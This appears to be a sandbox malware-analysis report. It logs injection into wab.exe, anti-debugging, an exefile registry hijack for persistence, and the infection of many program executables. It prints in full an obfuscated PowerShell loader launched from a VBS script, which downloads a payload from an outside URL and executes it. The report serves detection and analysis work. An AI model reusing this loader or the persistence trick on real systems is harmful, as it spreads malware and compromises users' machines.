Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A

Loads dropped DLL

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Modifies system executable filetype association

persistence

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious use of SetThreadContext

Description	Indicator	Process	Target
PID 1600 set thread context of 824	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Drops file in Program Files directory

Description	Indicator	Process	Target
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\OIS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\WORDICON.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MOZILL~1\UNINST~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmpconfig.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\MSOXMLED.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\Oarpmany.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\DISABL~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOHTMED.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmplayer.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\ADOBEC~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\EQUATION\EQNEDT32.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ONENOTE.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{33D1F~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~2\ACCESS~1\wordpad.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\Adobe\Updater6\ADOBEU~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\ODeploy.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~3.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\GRAPH.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{CA675~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\SOURCE~1\OSE.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSOUC.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MOZILL~1\MAINTE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI4223~1\sidebar.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\wmlaunch.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOBD5D~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ielowutil.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\NAMECO~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\FLTLDR.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\WINWORD.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{EF6B0~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~2.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\ieinstal.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\INTERN~1\iexplore.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\misc.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~1\wabmig.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\setup_wm.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\Eula.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\CLVIEW.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\GROOVEMN.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSQRY32.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\VPREVIEW.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WI54FB~1\WMPDMC.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~3\PACKAG~1\{61087~1\VCREDI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\OFFICE~1\Setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\INFOPATH.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSTORDB.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\MSTORE.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ACCICONS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\PPTICO.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\XLICONS.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\LOGTRA~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\SETUPF~1\{AC76B~1\Setup.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\MSInfo\msinfo32.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\OFFICE14\LICLUA.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Google\Update\1336~1.151\GOOGLE~4.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\COMMON~1\MICROS~1\TextConv\WksConv\Wkconv.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~1\WinMail.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\WINDOW~4\ImagingDevices.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\BCSSync.exe	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\ONENOTEM.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\POWERPNT.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\MICROS~1\Office14\SELFCERT.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A
File opened for modification	C:\PROGRA~2\Adobe\READER~1.0\Reader\A3DUTI~1.EXE	C:\Program Files (x86)\windows mail\wab.exe	N/A

Drops file in Windows directory

Description	Indicator	Process	Target
File opened for modification	C:\Windows\svchost.com	C:\Program Files (x86)\windows mail\wab.exe	N/A

Enumerates physical storage devices

Modifies registry class

Description	Indicator	Process	Target
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "C:\\Windows\\svchost.com \"%1\" %*"	C:\Program Files (x86)\windows mail\wab.exe	N/A

Suspicious behavior: EnumeratesProcesses

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious behavior: MapViewOfSection

Description	Indicator	Process	Target
N/A	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of AdjustPrivilegeToken

Description	Indicator	Process	Target
Token: SeDebugPrivilege	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	N/A
Token: SeDebugPrivilege	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	N/A

Suspicious use of WriteProcessMemory

Description	Indicator	Process	Target
PID 2080 wrote to memory of 2036	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2080 wrote to memory of 2036	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2080 wrote to memory of 2036	N/A	C:\Windows\System32\WScript.exe	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2036 wrote to memory of 2572	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 2036 wrote to memory of 2572	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 2036 wrote to memory of 2572	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\system32\cmd.exe
PID 2036 wrote to memory of 1600	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2036 wrote to memory of 1600	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2036 wrote to memory of 1600	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 2036 wrote to memory of 1600	N/A	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 1600 wrote to memory of 1644	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 1600 wrote to memory of 1644	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 1600 wrote to memory of 1644	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 1600 wrote to memory of 1644	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Windows\SysWOW64\cmd.exe
PID 1600 wrote to memory of 824	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1600 wrote to memory of 824	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1600 wrote to memory of 824	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1600 wrote to memory of 824	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1600 wrote to memory of 824	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe
PID 1600 wrote to memory of 824	N/A	C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe	C:\Program Files (x86)\windows mail\wab.exe

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\time.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$palaverist = 1;$Massesamfund='Su';$Massesamfund+='bstrin';$Massesamfund+='g';Function Lnkampene($Thurlsvaflers){$Uindfriede=$Thurlsvaflers.Length-$palaverist;For($Thurl=5;$Thurl -lt $Uindfriede;$Thurl+=6){$Tachyglossate+=$Thurlsvaflers.$Massesamfund.Invoke( $Thurl, $palaverist);}$Tachyglossate;}function Kolesterol($Overanxious){& ($Maimedly) ($Overanxious);}$Skovbrandsbekmpelses=Lnkampene ' PremMJule o Ped,zRognfi.artel RicilRepleaAphan/ Pr n5Wardl. Cong0Co ta T,ead(AkupuWF,rjti Cottn TeledClarioentrewAnke sPetio Ti.baNEnknnTComp Kad,1Fejll0 Korp. Bro.0 Pul ;Logpe OffsW Dispipleninbasen6 avin4Korri;stemm Ha.ndx Unfr6,irkl4Sm,ak;Aflev DefenrInfervBedk :lokal1 Baml2Asbes1Frais.Alumi0Palp )Gastr subgeG,retse a,tncSlavekAmideoScann/Pec,i2Und r0Disma1 Co.n0Cornc0 ispr1belly0 Naup1Partr TretFTroeliPanglrDeprae Pne fjowl o DrabxGadef/suffl1 Rrbl2E,nea1Dbend.Rele,0Semic ';$Organismers=Lnkampene 'LigegU ,anks An,meFolier,krob-EquivA Ibr gWalloeDetonnChamotBedri ';$Skadevolderne=Lnkampene 'VizirhRashnt MigatF gtip.imels Frem:Kampe/Nonou/SolsowDisc,wMinidwDelag.WardesRidese ExtonS ippdRungesLyterpPostiaSten cLegate Bo t.Sup rcretroo.etalmS.kbr/SalvapK,ansr W leoSchan/Psychd RedelMezzo/LyspaeBl,nhx alstwSlage2LungeoHomel1foreg ';$Malaxate=Lnkampene 'D.bri>Fiske ';$Maimedly=Lnkampene 'mudpuiPadeye.rescx Te.t ';$Whammo='impery';Kolesterol (Lnkampene ' TheoSFamile.ranstDomi,-Ac,taC,pplioDiskrn C tot,lackeThecon ,icht Mou Cento-NontrPSe.dea R.trtUnic,hGynan MangT fies: Adt.\H.ftaMTrafiu GuldfShapefkasseeRekrnnFinge. PromtFore xstat,tGaypo Ylvas-KorreVCr noaHypotlCatheudrueme Ko,p Comm,$BeredWVl inhBass.aVedhnmSubsum somo Raas;Semi ');Kolesterol (Lnkampene 'Whem iEft rf Reti Skygg(Arakatmajore attsAm,hit Alek- ,ardpH,rdsa AgritSnorehImpli ProduTWhore:Fragr\,eostMSarkouE,spafMon,pf Gen,eTilsknOpede. fragtHa.tixFarvetgadsh)Symph{Telefe BltexBloduiDisoctLeean}.rysa;Humbu ');$Prevascular = Lnkampene 'StabieGstelc RegnhS.lkeo Harm Vi.r%For.ba SolcpSamkvpU valdFondsa.rejetDet,eaTilen%Redef\Pi.trO Pri.mArcanrZoogry Bills ortrtMaskinkarnfiA,lurn,ragmgFo,egeCatchrUnbeg.HoundD Limai NoelmRavne Ste.b&Tragt&divel PseudePaatrc Etceh halvoBlee, met o$Krmme ';Kolesterol (Lnkampene ' m gg$RestagForfilSnippoCos.obForfaa Leg,lBerbe:UbetnB DehonEksp.kBordee Su.e=Aphel(DriftcSydamm ComidB dki ,iffi/Ha rscGenio Fuldb$FaysgPTot,lrPrepse HepavVerdeaUdstrsSnrencBrudeuBallalconseaMilitrAfnaz)Foreb ');Kolesterol (Lnkampene 'Sving$ironwg InvelMe,leos,minbAm,era ,utrlbille:Mi,stRwrigluAnt oftos afAffete,lammrFrasesprotokhypere,ontrrInte.= Read$ OverSMaterkHul,oaRetssdIncepeVo.acvBesk,o .analenergd EnlaeTubulrK nnen S,ogeAnglo.s.lgssNeocopOpa tloprekiTheoptCalli( Syst$ UpheMAttacaCaddilBabelaBorttxKr dsaInfertPrakteT.kpr)isog, ');$Skadevolderne=$Ruffersker[0];Kolesterol (Lnkampene ',arte$SaloogBerunl Sorto,pisubtempeaCaliflP egr: ForsB ExciaWheredmoluciOdzoonCingueEnstauDjellrBonde=GleamN ,elfe Bifew So.a-ugestOU.derb DisejAbeloe SunbcBlowjtGerha Re,seSFrejdy Knogs NatitDuk,eeDro.dmBacch.UnderNBilleePa,aptRedis.ThwarWConiieCholebBetteCChatslanth.iExempeRig enGapgltLov,a ');Kolesterol (Lnkampene 'Desig$ForreBudebla IsocdCitesiTil,sn.edaleCyb ruS kverUbluf.S.preH.gtnie,inteaSpe,edPateteBur.nrskadesBayon[Alask$LedigOOdinerTapisgNonapaVindknDe peiS rensspecim FruieCenterDegassGuilb],perm=kiloc$.edboScapsikGldssoSicklvU rembWrestrHusblas,phonD.moud Un,vssearcbLindgePlangk ParamCalvipTallie Ruinl ProtsReklaeRinghs Sg,f ');$Frakoblende127=Lnkampene 'ImproBSightaS.vsadAntipi MetanNonane Ejeru .uggr Spil. skraDKraknoGemenwAntipn eroslOutfeo BefuaShakedVerruFNintui Armel A.paeDebat(Wilda$S.ineSBe prkB rdsaPhoohd Evo eTre jvtjeneoSl,evl AdjodByzaneDamebrStboln.ofdieSemim,Spytk$HumorEFin.nk C,rbvPi.laiBougap Afmae avebr Fyrai SikanMutedgM more Strar Goddn,uneneConfu)Bespn ';$Frakoblende127=$Bnke[1]+$Frakoblende127;$Ekviperingerne=$Bnke[0];Kolesterol (Lnkampene 'Reall$HerlugThur,lTrommoSkrmsbGammiaKltrildrjed:UdspeVKansaichurrnToxicd timaiElektggyrit=Trill(WeheeT gemme.italsCapybtP.rli- ,ccePrevisaSti.ltGevanhPeyot Parce$KosttE Bi lkBodgev JyndikailypProdue,rallrUnm.diN.nrenSammegEnd ce HashrGliomnUndereGymno)Desme ');while (!$Vindig) {Kolesterol (Lnkampene 'Merce$Pr vagPrdiklClisto Forkb rieaTra dl .els:BeskyVHydr.eUnionn ranstBedvee PallkS mfuj.pgatoSrge.lUneneeBintjnmegal= Fjo.$ sandt,dblor efreuTaleseampli ') ;Kolesterol $Frakoblende127;Kolesterol (Lnkampene 'TilskSRokketNed,uaUlde r,emictlanda-HimmeS WicklPurpoeU,frseAct,apProvi L.ndb4Ajour ');Kolesterol (Lnkampene 'Mo.he$Impovg Unf l Mo,ioS.bpebGryntaFibr lBromi: U,ivVSlubriStuklnOmbindHyperiDrivag.egit= .ost(T,vemTAtom e andos ,vertVandi-JenkrPtjeneaReamatHamsthOvers Bj.ne$Hyp,nEKolpokRegulvlameligolilpSangveFolkerC ickiJordrnNelisgCeremeMultirTi lbn AfdeePet r)Pre.u ') ;Kolesterol (Lnkampene 'Odori$AgerbgSubselO teto S,deb,orinaMonumlS mme:KbekrRMgle.eStibis Tobau Fin,sDrbercMontiiR.sertSeksuaInvesnHi.litKeram=Kroni$TaktrgRagsolGenn,oWiyatbSt,afaRygsjlF.lde:S udrRv,rmoeUnchasSqualpHenwois.ederKedloaUdtaltBrevaiBo,ennDisarg aafr+ Cho,+Antih%antia$Unsq R PaksuOmgrdfUnfu.fEngleeReindrRetrosKonsuk Socee IrrerTakah.EuklicKo.stoFeticusank,nRingetFr,ss ') ;$Skadevolderne=$Ruffersker[$Resuscitant];}$Stealth=317356;$Smeltediglen=28607;Kolesterol (Lnkampene 'Col,u$,flivgs,ratlExploo La,hbBarosaP,olol,arco:Hvse.ORunprlMindaeRundsrtetr.aNonadcOmegneNdri,oCaud uSav ns,arbu Circu=bred, TiltnGundereover.tOrals-HaglsCTmreroClinon CenttTilfleVedrrnKle,itPromo Caram$Pale.ESaarsk ForkvTophaiForsmpExte eMoralr,kudsi.rasonTugbog.himoeKommir ondenSubtoecoutu ');Kolesterol (Lnkampene 'Nonme$.dsmigDej klUnle oforskbSheeta Tastl A lg:,nkebL Bru,hD nskuPostonAbe,idScolys Srad ,ejlt=Kasta Subst[GalloS.havayMaksisGradst T aneS ejlmI.elr.Ol erC EchooPsam,n,olkevAprjteApinarNoum tPrees] Vege:Local:Cal,rFBjninrDekreo Ald mEp,ncB NaiaaU,ryksUlykkeUnseg6Laund4 ,estSM.nottOmnidr CohoiJambonFaraog efor(udl,d$.atonOIsokol usleFrontr.elata Aktic SpoueCesiuo ligauTotemsBar.e) Bac. ');Kolesterol (Lnkampene 'Ae th$.rikkg,arbel .eneo KontbVa.utaSu lelBlomk:Pr,nkSRgforuTiskdbBalkogS.btrr AberoUnoveuYeastpMicrosNeome B ill=Slag, Unsto[Dia,lS Metoy boghsEx,ostForbee Ka fmDr.ek.OsteaT Safte.refaxBundgtSyndi.Une.tE,erminIndimcR sunoJessed ForniFlodhn R,tigArcad]Bygrn:Speci:FlugtA adipSStrobCBemgtIRadenI.lust.EkspeG ipleI,hestGydn,SSpredtGrantr ,ppliDeas,nChmilgPo en(Besla$ BlodL Tr,ahDemaruBa.esnKnowhdBade.sKunde)V,rol ');Kolesterol (Lnkampene 't.esi$PreregKvidrlNo.imo PrisbJawfia Thi,l Eksp:Cru hKL.skojBrugeoM,saprorbict Lys eTrundlT legeBlanknSinapsVel,e=Su,er$.egadSW.incuSoffibResergBrachrPannio.ejdiuEnceppDecigs Avis. SpaesN ggauCominbDagsrs ap ltP,ilorFre riIdocrnHabi.gConse(Kobiu$ KribSPo emt.lpaseSothiaPrelalSto it S rahInte ,Kumme$T.bleSMonosmR,esueAfkorlN.ttetEfterePrveld K.ruiMethagNukasl Sowde Inven,uleb)Modta ');Kolesterol $Kjortelens;"

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Omrystninger.Dim && echo $"

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$palaverist = 1;$Massesamfund='Su';$Massesamfund+='bstrin';$Massesamfund+='g';Function Lnkampene($Thurlsvaflers){$Uindfriede=$Thurlsvaflers.Length-$palaverist;For($Thurl=5;$Thurl -lt $Uindfriede;$Thurl+=6){$Tachyglossate+=$Thurlsvaflers.$Massesamfund.Invoke( $Thurl, $palaverist);}$Tachyglossate;}function Kolesterol($Overanxious){& ($Maimedly) ($Overanxious);}$Skovbrandsbekmpelses=Lnkampene ' PremMJule o Ped,zRognfi.artel RicilRepleaAphan/ Pr n5Wardl. Cong0Co ta T,ead(AkupuWF,rjti Cottn TeledClarioentrewAnke sPetio Ti.baNEnknnTComp Kad,1Fejll0 Korp. Bro.0 Pul ;Logpe OffsW Dispipleninbasen6 avin4Korri;stemm Ha.ndx Unfr6,irkl4Sm,ak;Aflev DefenrInfervBedk :lokal1 Baml2Asbes1Frais.Alumi0Palp )Gastr subgeG,retse a,tncSlavekAmideoScann/Pec,i2Und r0Disma1 Co.n0Cornc0 ispr1belly0 Naup1Partr TretFTroeliPanglrDeprae Pne fjowl o DrabxGadef/suffl1 Rrbl2E,nea1Dbend.Rele,0Semic ';$Organismers=Lnkampene 'LigegU ,anks An,meFolier,krob-EquivA Ibr gWalloeDetonnChamotBedri ';$Skadevolderne=Lnkampene 'VizirhRashnt MigatF gtip.imels Frem:Kampe/Nonou/SolsowDisc,wMinidwDelag.WardesRidese ExtonS ippdRungesLyterpPostiaSten cLegate Bo t.Sup rcretroo.etalmS.kbr/SalvapK,ansr W leoSchan/Psychd RedelMezzo/LyspaeBl,nhx alstwSlage2LungeoHomel1foreg ';$Malaxate=Lnkampene 'D.bri>Fiske ';$Maimedly=Lnkampene 'mudpuiPadeye.rescx Te.t ';$Whammo='impery';Kolesterol (Lnkampene ' TheoSFamile.ranstDomi,-Ac,taC,pplioDiskrn C tot,lackeThecon ,icht Mou Cento-NontrPSe.dea R.trtUnic,hGynan MangT fies: Adt.\H.ftaMTrafiu GuldfShapefkasseeRekrnnFinge. PromtFore xstat,tGaypo Ylvas-KorreVCr noaHypotlCatheudrueme Ko,p Comm,$BeredWVl inhBass.aVedhnmSubsum somo Raas;Semi ');Kolesterol (Lnkampene 'Whem iEft rf Reti Skygg(Arakatmajore attsAm,hit Alek- ,ardpH,rdsa AgritSnorehImpli ProduTWhore:Fragr\,eostMSarkouE,spafMon,pf Gen,eTilsknOpede. fragtHa.tixFarvetgadsh)Symph{Telefe BltexBloduiDisoctLeean}.rysa;Humbu ');$Prevascular = Lnkampene 'StabieGstelc RegnhS.lkeo Harm Vi.r%For.ba SolcpSamkvpU valdFondsa.rejetDet,eaTilen%Redef\Pi.trO Pri.mArcanrZoogry Bills ortrtMaskinkarnfiA,lurn,ragmgFo,egeCatchrUnbeg.HoundD Limai NoelmRavne Ste.b&Tragt&divel PseudePaatrc Etceh halvoBlee, met o$Krmme ';Kolesterol (Lnkampene ' m gg$RestagForfilSnippoCos.obForfaa Leg,lBerbe:UbetnB DehonEksp.kBordee Su.e=Aphel(DriftcSydamm ComidB dki ,iffi/Ha rscGenio Fuldb$FaysgPTot,lrPrepse HepavVerdeaUdstrsSnrencBrudeuBallalconseaMilitrAfnaz)Foreb ');Kolesterol (Lnkampene 'Sving$ironwg InvelMe,leos,minbAm,era ,utrlbille:Mi,stRwrigluAnt oftos afAffete,lammrFrasesprotokhypere,ontrrInte.= Read$ OverSMaterkHul,oaRetssdIncepeVo.acvBesk,o .analenergd EnlaeTubulrK nnen S,ogeAnglo.s.lgssNeocopOpa tloprekiTheoptCalli( Syst$ UpheMAttacaCaddilBabelaBorttxKr dsaInfertPrakteT.kpr)isog, ');$Skadevolderne=$Ruffersker[0];Kolesterol (Lnkampene ',arte$SaloogBerunl Sorto,pisubtempeaCaliflP egr: ForsB ExciaWheredmoluciOdzoonCingueEnstauDjellrBonde=GleamN ,elfe Bifew So.a-ugestOU.derb DisejAbeloe SunbcBlowjtGerha Re,seSFrejdy Knogs NatitDuk,eeDro.dmBacch.UnderNBilleePa,aptRedis.ThwarWConiieCholebBetteCChatslanth.iExempeRig enGapgltLov,a ');Kolesterol (Lnkampene 'Desig$ForreBudebla IsocdCitesiTil,sn.edaleCyb ruS kverUbluf.S.preH.gtnie,inteaSpe,edPateteBur.nrskadesBayon[Alask$LedigOOdinerTapisgNonapaVindknDe peiS rensspecim FruieCenterDegassGuilb],perm=kiloc$.edboScapsikGldssoSicklvU rembWrestrHusblas,phonD.moud Un,vssearcbLindgePlangk ParamCalvipTallie Ruinl ProtsReklaeRinghs Sg,f ');$Frakoblende127=Lnkampene 'ImproBSightaS.vsadAntipi MetanNonane Ejeru .uggr Spil. skraDKraknoGemenwAntipn eroslOutfeo BefuaShakedVerruFNintui Armel A.paeDebat(Wilda$S.ineSBe prkB rdsaPhoohd Evo eTre jvtjeneoSl,evl AdjodByzaneDamebrStboln.ofdieSemim,Spytk$HumorEFin.nk C,rbvPi.laiBougap Afmae avebr Fyrai SikanMutedgM more Strar Goddn,uneneConfu)Bespn ';$Frakoblende127=$Bnke[1]+$Frakoblende127;$Ekviperingerne=$Bnke[0];Kolesterol (Lnkampene 'Reall$HerlugThur,lTrommoSkrmsbGammiaKltrildrjed:UdspeVKansaichurrnToxicd timaiElektggyrit=Trill(WeheeT gemme.italsCapybtP.rli- ,ccePrevisaSti.ltGevanhPeyot Parce$KosttE Bi lkBodgev JyndikailypProdue,rallrUnm.diN.nrenSammegEnd ce HashrGliomnUndereGymno)Desme ');while (!$Vindig) {Kolesterol (Lnkampene 